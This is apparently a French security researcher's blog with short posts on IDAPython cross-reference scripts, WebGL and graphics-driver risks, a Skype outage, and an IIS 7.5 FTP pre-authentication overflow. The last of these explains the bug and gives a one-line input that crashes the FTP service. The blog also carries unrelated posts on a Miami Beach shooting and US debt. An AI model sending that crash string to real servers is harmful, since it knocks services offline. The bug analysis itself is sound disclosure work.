Apres une dure victoire des Miami Heat 88 a 86 contre les Dallas Mavericks pour le 3e match des finales des playoffs de la NBA (2-1!), je me suis decide a essaye de terminer le script d'hier. Apres avoir joue avec les Forms dans l'apres-midi, il se trouve qu'un dialogue se fait plus aisement que prevu. Donc je me suis efforce de faire quelque chose qui ressemblait au menu courant, toujours avec cette notion de filtre par expression reguliere sur les xrefs qui me tenait a coeur

J'ai inclus du code pour les xrefs to et les xrefs from. C'est moche mais ca a l'air de marcher. Comprenez bien qu'a 11:30PM un dimanche soir, ma batterie de test a consiste a tester 3 fonctions et a juger du resultat au nez. Mais comme Google, je vais faire confiance aux utilisateurs finaux pour tester, trouver des bugs, me les envoyer, et me traiter de tous les noms pour avoir pondu du code pourri.

Et comme je ne maitrise toujours pas le web 3.0 et que je n'arrive pas a coller du code proprement formate dans ce blog, je vais faire confiance a pastebin pour cela. Le code complet du script se trouve a l'adresse suivante:

src="" style="border:none;width:100%;height:600px">


Script idapython du Samedi


Dans IDA, je cherche souvent comment arriver a une fonction depuis d'autres fonctions que j'ai analyse. Halvar dirait que BinNavi est fait pour ca, mais personnellement, vu que je suis vieux et refractaire au progres, j'utilise generalement la fonctionnalite de graphe de IDA (View -> Graph -> User xref chart...), qui utilise toujours en 2011 le tres laid wingraph.exe.

Tout va bien lorsque votre fonction est appelee 2 fois par des fonctions elles-meme appelees 2 fois, etc. On retrouve facilement ce que l'on cherche. Par contre, lorsque votre fonction est appelee 42 fois par des fonctions elles-meme appelees 42 fois, ca devient bordelique.

Lorsque j'audite, je renomme toutes les fonctions que j'analyse avec un prefixe particulier ('imm').Je me suis donc decide a ecrire un script idapython recherchant les recursivement les references en applicant une expression reguliere ('^imm') sur le nom des fonctions. Le resultat est un graphe epure ne contenant que les chemins que je cherchais (provenant d'une fonction analysee vers la fonction ciblee). Au final ca a pris 15 minutes et ca l'air de marcher.

Ce premier graphe correspond a une profondeur maximale de 2, sans expression reguliere appliquee, vers la fonction ciblee: c'est le bordel.

Ce second graphe correspond a une profondeur maxiumale de 8, avec expression reguliere '^imm', vers le meme fonction ciblee: c'est deja moins le bordel, et tous les blocs initiaux respectent effectivement mon expression reguliere.

J'aimerais bien remplacer le menu actuel Xref de IDA par quelque chose utilisant une version plus developpee de ce code, histoire d'avoir les Drefs/Crefs To et From avec application d'expressions regulieres. Ca me semble representer plus de travail que je ne desire y consacrer (surtout que je n'ai jamais essaye de creer un dialogue), mais si quelqu'un a du temps, amusez vous.

Et voici le code (de merde):
src="" style="border:none;width:100%;height:600px">

Edit: desole je suis infoutu de formater le code proprement.

Memorial Day week-end


Une fois par an, pour "Memorial Day Week-End", South Beach se tranforme en un gigantesque Ghetto. Malgre une presence policiere decuplee, ca se finit toujours en drames. Cette annee, un echange de coups de feu a ete filme entre la police et des criminels. Les officiers finissent par decharger leurs pistolets sur la voiture.

allowFullScreen='true' webkitallowfullscreen='true' mozallowfullscreen='true' width='320' height='266' src='' FRAMEBORDER='0' />

Personnellement, je pense que le blame initial pour de telles situations revient a la ville de Miami Beach, qui se contente de laisser la situation degenerer tout un week-end jusqu'a des conclusions macabres comme celles-ci.

Les drivers graphiques


Recemment, tout le monde s'est mis a s'inquieter du fait que WebGL existait. Ou du moins, commencait a etre integre a des navigateurs populaires comme Chrome ou Firefox. Certes, cela ajoute un niveau additionnel de complexite au code et une nouvelle surface d'attaque associee - ce qui n'est pas ideal - mais surtout ca expose les drivers graphiques aux Internets. Et ca, c'est le debut de la fin (meme si FX ne semble pas etre d'accord). Pour la bonne et simple raison que les drivers graphiques sont gros et tres mal codes (mon .sys ATI est plus gros que mon noyau).

Dans l'eventualite ou vous voudriez en avoir la preuve, je vous invite a vous rendre sur la page du test de conformite WebGL depuis un Windows XP sous VMware avec Chrome, le tout a jour, avec support 3D. Apres quelques tests, ma VM a bluescreene, faute au driver video de VMware qui a tente une division par 0 en ring 0 (dans vmx_fb.dll pour etre precis). La division par 0, ce n'est pas bien grave, mais ca ne represente qu'une portion infime de ce qui peut derailler dans le traitement de la 3D.

Maintenant, est-ce la faute de VMware seulement? Pas vraiment. Je citerai pour demonstration la liste noire de drivers videos dans Firefox 4. Mozilla a pris l'initiative de ne pas activer WebGL si les drivers graphiques sont "pourris" (enfin, ils le sont tous), et ne supporte vraiment que les 3 grandes marques ATI, Intel, Nvidia. Pour crasher votre VM avec Firefox, il faut aller dans about:config, et forcer WebGL. En fait, Chrome fait de meme, plus ou moins. On relevera les notes suivantes:

  • NVIDIA drivers older than 257.21 on Windows XP are assumed to be buggy.
  • Intel drivers older than on Windows XP are assumed to be buggy.
  • ATI drivers older than 10.6 on Windows XP are assumed to be buggy.
Je trouve relativement interessant qu'il releve aujourd'hui du navigateur de proteger l'utilisateur des couches de vulnerabilites de niveau inferieur. Enfin toujours est-il que lorsque je lis les recherches de "Context Information Security LTD", je me dis qu'ils sont passes a cote du probleme.

Tango Down


L'expression est la mode. La victime du jour: Skype.

Sur le blog de Skype, on peut lire:

Under normal circumstances, there are a large number of supernodes available. Unfortunately, today, many of them were taken offline by a problem affecting some versions of Skype. As Skype relies on being able to maintain contact with supernodes, it may appear offline for some of you.

Je ne peux m'empecher de repenser aux presentations de Serpi, Phil et compagnie sur le sujet, evoquant la possibilite de DoS-er le reseau Skype en envoyant aux super-noeuds la commande de desactivation.

Maintenant les techniciens de Skype s'activent a creer de nouveaux mega super-noeuds pour retablir le reseau. C'est moche.

Overflow du serveur FTP de IIS 7.5


Comme cadeau de Noel cette annee, Microsoft a decide de nous offrir un overflow distant pre-authentification dans le service FTP de IIS 7.5 (Windows 7 et 2008 R2). Le bug est marrant. Considerons l'extrait de pseudo code C suivant:

char *src,*dst,*end;
while (src!=end) {
if (*(++src)==(char)0xff)

Evidemment, si dst a assez de place pour accomoder les caracteres 0xff supplementaires, tout se passe bien. Le probleme se situe dans un cas particulier ou si la taille de src plus le nombre de 0xff est inferieure ou egale a la taille du buffer courant, alors pas la peine d'allouer dst, et on se contentera de dst=src. Dans ce cas precis, si src contient deux caracteres 0xff (ou plus, et pas necessairement consecutifs), dst va commencer a ecrire des 0xff dans une portion de src pas encore lu. Le nombre de 0xff dans src n'est alors plus deux, mais trois, et ca continue a augmenter. Au final, on va deborder de dst avec plein de 0xff.

La simple chaine '\xff\xff\xff\xff'+'A'*0x200+'\r\n' fera planter le service FTP d'IIS.

Le bug est-t-il exploitable? C'est loin d'etre gagne. La taille allouee pour src est controlable, la taille du debordement est controlable, le contenu ... pas super controlable. Il se peut qu'il soit possible de faire quelque chose avec le contenu d'un chunk ecrase par une serie de 0xff avant que le processus ne parte en vrille. Ou pas.

Maintenant concernant la terminologie: un debordement de buffer peut aboutir a un deni de service s'il n'est pas correctement exploite, les deux termes ne sont pas exclusifs.

La dette publique Americaine

2010-11-03T08:46:03.096-04:00 Foreign owners of US Treasury Securities (July 2010)Nation/Territorybillions of dollarspercentagePeople's Republic of China (mainland)846.720.8Japan821.020.2[...]

Sur Marin


Un sous-marin nucléaire d'attaque britannique s'échoue en Ecosse

(object) (embed)

C'est beau la technologie.